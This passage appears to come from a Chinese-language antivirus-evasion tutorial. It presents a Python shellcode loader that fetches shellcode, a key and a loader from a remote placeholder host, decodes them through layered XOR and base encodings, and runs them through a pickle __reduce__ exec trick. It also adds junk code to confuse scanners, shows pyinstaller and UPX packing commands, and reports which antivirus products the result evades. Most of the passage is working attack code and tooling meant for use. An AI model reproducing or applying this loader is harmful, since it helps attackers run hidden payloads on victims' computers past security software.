for i in xor_code:
res_code = res_code + chr(int(i) ^ random.randint(0, 255))
# 三重解码
if version_info >= (3,0):
shellcode = bytes.fromhex(res_code)
else:
shellcode = res_code.decode('hex')
shellcode = base64.b16decode(shellcode)
shellcode = base64.b32decode(shellcode)
return shellcode
class Runcode(object):
def __init__(self, sc, ld):
global shellcode
global loader
loader = ld
shellcode = sc
def __reduce__(self):
return (exec, (loader,))
def get_data(url_shellcode, url_key, url_loader):
"""远程获取shellcode"""
# 远程加载shellcode, key
key = urlopen(url_key).read().decode()
shellcode = urlopen(url_shellcode).read().decode()
loader = urlopen(url_loader).read().decode()
loader = base64.b64decode(loader)
return shellcode, key, loader
if __name__ == "__main__":
url_shellcode = "http://ip:8000/shellcode.txt"
url_key = "http://ip:8000/key.txt"
url_loader = "http://ip:8000/loader.txt"
# 远程加载
shellcode, key, loader = get_data(url_shellcode, url_key, url_loader)
# 解码
shellcode = decrypt(shellcode, key)
# 加载shellcode
res = pickle.dumps(Runcode(shellcode, loader))
pickle.loads(res)
创建Runcode类的一个实例,将解密后的shellcode和loader传递给它。
使用pickle模块序列化这个Runcode实例,然后再反序列化它。由于Runcode.reduce的存在,这会导致exec(loader)被执行,进而执行shellcode。
加花指令
主要是用来扰乱动态扫描的,向程序shellcode或特征代码区域增添垃圾指令。加花的原理就是通过添加花指令(一些垃圾加密数据,无意义的条件判断等等)干扰杀毒软件正常的检测
w_code1 ="""
import random
def partition(test_arr, low, high):
i = (low - 1)
pivot = test_arr[high]
for j in range(low, high):
if test_arr[j] <= pivot:
i = i + 1
test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
return i + 1
def quick_sort(test_arr, low, high):
if low < high:
pi = partition(test_arr, low, high)
quick_sort(test_arr, low, pi - 1)
quick_sort(test_arr, pi + 1, high)
test_arr= []
for i in range(59999):
test_arr.append(random.random())
n= len(test_arr)
quick_sort(test_arr,0, n - 1)
"""
w_code2 ="""
import re
re.search('www','www.runoob.com').span()
re.search('com','www.runoob.com').span()
line= "Cats are smarter than dogs ok in shakdhaksdas";
searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)
def double(matched):
value = int(matched.group('value'))
return str(value * 2)
s= 'A23G4HFD567'
re.sub('(?P<value>\d+)',double, s)
"""
w_code3 ="""
import base64
st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()
"""
混淆代码

打包exe
由于python生成exe文件的内存太大了,这里可以结合upx(压缩壳)来使用
https://github.com/upx/upx
pyinstaller -F -w .\shellcode.py --upx-dir D:\upx.exe --clean
还可以缩小代码
pip install python-minifier
pyminify .\bypass.py --output bypass-mini.py
免杀效果测试:

火绒还是比较好过的
云沙箱还是过不了,因为它把py2exe、pyinstaller生成的任何exe包都当作了恶意文件
总结
虽然python加载shellcode的免杀方式有很多,但是生成的exe文件比较大,还是推荐用C#、go这种语言来写免杀
参考文章
https://forum.butian.net/share/1690
https://blog.csdn.net/jammny/article/details/130321649